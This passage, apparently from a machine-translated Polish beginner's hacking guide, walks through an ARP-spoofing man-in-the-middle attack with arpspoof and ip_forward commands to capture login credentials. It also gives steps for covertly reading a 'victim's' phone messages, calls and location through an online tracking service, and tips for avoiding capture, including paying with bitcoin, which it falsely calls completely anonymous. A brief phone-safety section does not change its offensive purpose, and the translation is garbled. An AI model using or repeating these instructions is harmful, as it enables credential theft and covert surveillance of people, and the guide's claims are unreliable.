bezpieczeństwo nie jest tak wysokie, jak w sieciach przełączanych. Może to być bardzo przydatne, jeśli znasz już typ informacji wysyłanych przez użytkowników korzystających z tego samego przełącznika. Możesz także pracować, aby całkowicie to obejść. Aby to zrobić, musisz pracować, aby wprowadzić zmiany we wpisach znajdujących się w tabeli CAM. Chcesz zmapować, który adres IP i adres MAC wysyłają te informacje w obie strony. Gdy jesteś w stanie zmienić informacje o tych wpisach, haker może łatwo uzyskać pożądany ruch, czyli informacje, które powinny trafić na inny komputer. Właśnie tutaj pojawia się atak fałszowania ARP. W tym momencie musisz uruchomić oprogramowanie Backtrack. Możesz go uruchomić a następnie upewnić się, że wszystkie trzy terminale, które z nim idą, również będą w górze. Następnie weź adres MAC od docelowego użytkownika, a następnie zastąp go adresem MAC używanym przez komputer. Kod, którego użyjesz w tej części, to „arpspoof [adres IP klienta] [adres IP serwera]. Gdy to zrobisz, możesz odwrócić te adresy IP na ten sam ciąg, który właśnie zrobiłeś. To w zasadzie mówi serwerowi, że zamiast wysyłać informacje do pierwotnego użytkownika, powinien wysłać je do ciebie. Pozwala to na autoryzację, aby dostać się do systemu docelowego i wykonać zadania, które chcesz. Ta metoda zamieni hakera w klienta i serwer, umożliwiając im pobieranie pakietów informacji, które są przesyłane, i wprowadzanie zmian w razie potrzeby przed wysłaniem. Dla tych, którzy używają Linuksa, możesz skorzystać z wbudowanej funkcji znanej jako ip_forward, która ułatwi przekazywanie otrzymywanych pakietów. Po włączeniu tej funkcji będzie można wróć do Backtrack i przekaż te pakiety za pomocą polecenia

echo 1> / proc / sys / net / ipv4 / ip_forward.

To polecenie jest ważne, ponieważ pomoże ci znaleźć się między serwerem a jego klientem. Zaczniesz otrzymywać informacje, które się z nimi wiążą. Oprócz czytania informacji możesz je wziąć, wprowadzić zmiany i wiele więcej. Stąd musimy spojrzeć na ruch uliczny. Masz dostęp do pierwszego rzędu, aby zobaczyć te informacje bez zauważenia Cię przez sieć. Narzędzia Backtrack zapewnią ci wszystko, czego potrzebujesz, aby wykasować ruch i dadzą ci dobry obraz tego, co się dzieje, ale musisz upewnić się, że

aktywujesz tę funkcję, aby zaczęła działać. W tym momencie jest to tylko gra oczekująca. Musisz poczekać, aż klient zaloguje się na tym serwerze. Gdy klient znajdzie się na serwerze, otrzymasz informacje o jego haśle i nazwie użytkownika bez konieczności wykonywania dodatkowej pracy, ponieważ użytkownicy i administratorzy będą korzystać z tych samych danych uwierzytelniających w systemie, teraz możesz ich również użyć, aby wsiadać. Poświadczenia te będą ważne, ponieważ ułatwiają dostęp do sieci i przeglądanie potrzebnych informacji. Haker będzie w samym środku sieci, otrzymując wszystkie potrzebne informacje, ale nikt inny nie będzie ich tam widział. I w ten sposób ukończyłeś swojego człowieka w środkowym ataku.

Część 9: Jak włamać się do smartfona

Tak wiele osób przeszło na korzystanie ze smartfonów jako wyboru technologii. To nie tylko pomaga im spędzać czas na rozmowach i komunikowaniu się z innymi wokół nich, ale te smartfony stały się jak małe komputery osobiste, które mogą ułatwić życie. Teraz na smartfonie można robić zakupy, robić bankowość, wysyłać e-maile i wiele więcej. A to oznacza, że na tych urządzeniach jest potencjalnie dużo informacji. Ze względu na popularność smartfonów i liczbę osób umieszczających dane osobowe na tych urządzeniach wielu hakerów znajduje sposoby na uzyskanie dostępu do tych smartfonów. I większość smartfonów nie ma na nich ochrony, aby zapobiec tego rodzaju włamaniom. To dobra wiadomość dla hakera, ale zła dla Ciebie, jeśli chcesz zabezpieczyć niektóre informacje osobiste i finansowe. Nauczenie się, jak chronić swój smartfon i zapobiegać włamywaczom, może być dużym wyzwaniem. W tej częścile przyjrzymy się kilku prostym krokom, które możesz podjąć, aby dostać się do smartfona. W takim przypadku przyjrzymy się, jak dostać się do smartfona z Androidem. Musisz pobrać trochę oprogramowania dla tego z legalnej strony trzeciej. To po prostu ułatwia rozpoczęcie pracy jako początkujący. Zaletą tej procedury jest to, że pozwoli ci uzyskać dostęp do telefonu, który chcesz, bez informowania go, kim jesteś. Jest to zdalny exploit, co oznacza, że cała praca może być wykonana bez dotykania smartfona i może być wykonana przez bezpieczne połączenie internetowe. Aby rozpocząć, wykonaj następujące czynności:

● Przejdź do strony internetowej MasterLocate, która jest po prostu MasterLocate.com, a następnie użyj ich aplikacji online. Aby korzystać z tego oprogramowania, nie musisz go przeglądać i pobierać na telefon lub komputer. To świetne narzędzie, ponieważ ułatwia śledzenie lokalizacji GPS w czasie rzeczywistym celu, monitorowanie wiadomości tekstowych, odsłuchiwanie połączeń, a także śledzenie kont na Facebooku w jednym.

● Po znalezieniu aplikacji MasterLocate należy pozwolić jej działać na komputerze lub telefonie.

● Ta aplikacja powinna mieć okno dialogowe wyskakujące w polu z napisem „Numer telefonu ofiary". Wprowadź dowolną liczbę celów tutaj, ale musisz upewnić się, że telefon celu jest w trybie online podczas wykonywania tego kroku.

● W tym oknie dialogowym, tuż pod ostatnim polem, powinna znajdować się zakładka Weryfikuj. Po kliknięciu program spróbuje nawiązać połączenie. Możesz poczekać, aż pojawi się kraj celu.

● Gdy połączenie zostanie nawiązane i będzie można je zweryfikować, czas przejść do prawej strony okna dialogowego. Poświęć chwilę na przejrzenie sekcji raportów, aby wyświetlić informacje w tym telefonie, w tym pliki, dzienniki połączeń, a nawet wiadomości. Możesz wybrać pobranie niektórych z tych informacji na swoje urządzenie. Dzięki tej aplikacji wystarczy kliknąć opcję Metoda eksportu. To przedstawi ci niektóre opcje pobierania, w tym .rar i .zip.

Jak widać, ta konkretna metoda hakowania będzie dość prosta i łatwa w obsłudze. Wszystko, co jest potrzebne, to upewnić się, że cel jest w stanie pozostać online podczas procesu hakowania. Jeśli zdarzają się przerwy w połączeniu, cały proces się zatrzyma. Musisz także wiedzieć, z którego kraju pochodzi numer telefonu komórkowego celu i jego numer telefonu dla uproszczenia.

Hakowanie za pomocą aplikacji

Inną metodą, z której skorzystają niektórzy hakerzy, aby dostać się do smartfona, jest App Store. Czasami tworzą nową aplikację i zachęcają ludzi do jej zakupu. Innym razem haker może utworzyć łatkę do popularnej aplikacji, która już istnieje. Następnie wyślą powiadomienie do użytkowników tej aplikacji z informacją, że muszą dokonać aktualizacji. Pomyślą, że ta informacja jest zgodne z prawem i prześlą. Haker może wtedy dołączyć do aplikacji dowolne narzędzie hakerskie, które chciałoby w tym czasie. Po prostu wejdź do telefonu i wybierz potrzebne mu informacje. Inni będą robili wirusy, backdoory i więcej. W ten sposób łatwo jest zainfekować wiele telefonów, ponieważ większość ludzi nadal ma zaufanie do swoich smartfonów. Zawsze powinieneś uważać na aplikacje i poprawki, których używasz ze smartfonem. Przeczytaj recenzje i sprawdź, czy wygląda dobrze. Jeśli zobaczysz powiadomienie o łatce dla jednej ze swoich aplikacji, sprawdź stronę internetową oryginalnej aplikacji, aby sprawdzić, czy ta łatka jest naprawdę konieczna lub czy jest to haker próbujący dostać się do twojego telefonu.

Jak zapobiec hakowaniu smartfonów

Teraz, jeśli czytasz tą część i czujesz się trochę zaniepokojony tym, jak bezpieczny jest Twój smartfon, i próbujesz dowiedzieć się, w jaki sposób możesz zachować swój smartfon tak bezpiecznie, jak to możliwe.

Na szczęście istnieje kilka rzeczy, które możesz zrobić, aby upewnić się, że Twój telefon jest tak bezpieczny, jak to możliwe.

● Upewnij się, że Twój telefon ma antywirus. Ten musi być aktualizowany, zaufany i tak niezawodny, jak to możliwe.

● Podczas przeglądania Internetu najlepiej trzymać się bezpiecznego połączenia Wi-Fi. Jeśli wybierzesz takie, które nie jest bezpieczne i znajduje się w miejscach publicznych, haker może łatwo uzyskać potrzebne dane od ofiar, które nie zwracają uwagi. Jeśli korzystasz z publicznej sieci Wi-Fi, najlepiej nie robić zakupów ani robić niczego, co wymagałoby informacji bankowych.

● Unikaj pobierania aplikacji, szczególnie tych, które potrzebują twoich danych osobowych.

● Jeśli nie masz pewności co do źródła oprogramowania, które chcesz pobrać, najlepiej zostaw je w spokoju. Jeśli chcesz pracować z nową aplikacją, pobierz ją ze zweryfikowanego sklepu z aplikacjami. Zawsze sprawdź także recenzje.

● Za każdym razem, gdy nie używasz telefonu, zablokuj go, aby trudniej było włączyć. Wybierz bardzo silne hasło i skonfiguruj przypomnienia, aby je regularnie zmieniać.

● Jeśli otrzymasz wiadomość tekstową z linkiem, nigdy nie klikaj tego linku. Powinieneś po prostu usunąć wiadomości spamowe, gdy przychodzą do telefonu. Haker często wysyła ten sam tekst do tysięcy użytkowników telefonów, próbując twierdzić, że pochodzą z legalnej strony internetowej. Za każdym razem, gdy użytkownik kliknie link, złośliwe oprogramowanie jest instalowane w telefonie i może uzyskać dostęp do danych, więc nie klikaj tego.

Na całym świecie są miliardy takich telefonów komórkowych, a ponieważ większość z nich nie ma programów antywirusowych ani innych zabezpieczeń, jest to łatwa i szybka metoda ataku, z której mogą skorzystać hakerzy. Jest to szczególnie prawdziwe, ponieważ tak wiele osób używa swoich telefonów do bankowości i innych osobistych zakupów. Większość ludzi nieźle sobie radzi na laptopach i komputerach, ale kiedy podchodzą do telefonów, cała ich czujność spada. Dlatego tak ważne jest, aby postępować zgodnie z powyższymi wskazówkami i zachować ostrożność podczas korzystania ze smartfona.

Część X: Proste wskazówki dla początkujących

Jako początkujący haker będziesz chciał upewnić się, że zaczynasz od właściwej stopy. Chcesz nauczyć się kilku podstawowych umiejętności, które pomogą ci poprawić umiejętności hakerskie i nie dać się złapać. Nawet jako hakera w białym kapeluszu chcesz mieć możliwość wejścia do systemu i rozglądania się bez wiedzy, w przeciwnym razie nie będziesz w stanie powstrzymać hakerów z czarnym kapeluszem. Przyjrzymy się niektórym wskazówkom, które powinieneś zastosować, aby pomóc Ci w hakowaniu za każdym razem. Upewnij się, że polegasz na własnych narzędziach hakerskich. Można to łatwo zrobić, jeśli nauczysz się pracować w języku programowania. Niektórzy początkujący zaczną od oprogramowania hakerskiego, aby wykonać tę pracę, ale musisz mieć nadzieję, że są bezpieczne i nie zostaniesz złapany. Istnieje również wielu oszustów, którzy wezmą twoje pieniądze i dadzą ci bezużyteczne oprogramowanie. W niektórych przypadkach programy te wykradną Twoje dane, co w pewnym sensie pokona cel tego, co chcesz zrobić jako haker. Jeśli korzystasz z programu opracowanego przez kogoś innego, aby ułatwić, musisz upewnić się, że kupujesz, korzystając ze zweryfikowanej i legalnej witryny. Chcesz zrobić dobre badania to zapytaj innych programistów, czego by użyli i skąd biorą te rzeczy, aby to ułatwić. Następnie musisz upewnić się, że nigdy nie pobierasz z Internetu niczego, co jest uważane za darmowe. Byłbyś zaskoczony, jak wiele z nich zawiera narzędzia hakerskie, takie jak konie trojańskie i keyloggery. Jeśli chcesz poważnie podchodzić do hakowania, musisz wydać trochę pieniędzy na wybranie opcji, które będą działać, zamiast wybierać rzeczy darmowe, bez względu na to, jak kuszące. Co więcej, powinieneś rozważyć naukę tworzenia własnych programów, ponieważ wtedy nie musisz martwić się o nieskuteczne programowanie lub zainstalowanie narzędzi hakerskich na komputerze. Jeśli zdecydujesz się na zakup narzędzi hakerskich lub oprogramowania, najlepiej pracować z bitcoinem. Inne formy waluty można prześledzić od razu i może to być złe, jeśli coś pójdzie nie tak lub jeśli nie chcesz, aby inni byli teraz tym, kim jesteś. Może to być jeszcze bardziej prawdziwe, jeśli korzystasz z karty kredytowej. Bitcoin jest całkowicie anonimowy, więc możesz ukryć wszystkie swoje działania związane z hakowaniem, a innym trudno byłoby wiedzieć, co zamierzasz. Jeśli chcesz zająć się hakowaniem, naprawdę musisz poświęcić trochę czasu na rozwijanie swoich umiejętności. Być może masz doświadczenie w tworzeniu stron internetowych, ale to nie jest cała historia hakowania. Powinieneś nauczyć się programowania, a nawet pisania skryptów. Im więcej różnych nisz, o których wiesz w świecie technologii komputerowych, tym wygodniej poczujesz się, gdy nadejdzie czas włamania się do sieci. I wreszcie, chociaż na początku dobrze jest zrobić kilka hacków z oprogramowaniem, które otrzymałeś z innego źródła, najlepiej nauczyć się, jak robić niektóre własne kody i programy. Najlepsi hakerzy lub ci, którzy mogli pozostać w grze i nie dać się złapać, mogli pisać własne skrypty, programy i kody. Jeśli jesteś w stanie poświęcić trochę czasu na tworzenie narzędzi hakerskich, jesteś w stanie stać się elitarnym hakerem, który może dostać się do dowolnego systemu, który chce, bez potrzeby pomocy ze strony innych osób lub zaufania innym, Rozpoczęcie hakowania może być nieco trudne. Chcesz mieć pewność, że uczysz się wszystkiego, co możesz, aby zacząć, ale jest tam tak wiele informacji i zastanawianie się, jak przejść przez hasła, sieci bezprzewodowe i inne, nie jest łatwym procesem, szczególnie dla tych, którzy są dopiero zaczynam od nauki komputerowej. Ale jeśli postąpisz zgodnie z tymi wskazówkami i wypróbujesz kilka przykładów,

o których mówiliśmy w tym przewodniku, z pewnością zobaczysz oczekiwane rezultaty w mgnieniu oka.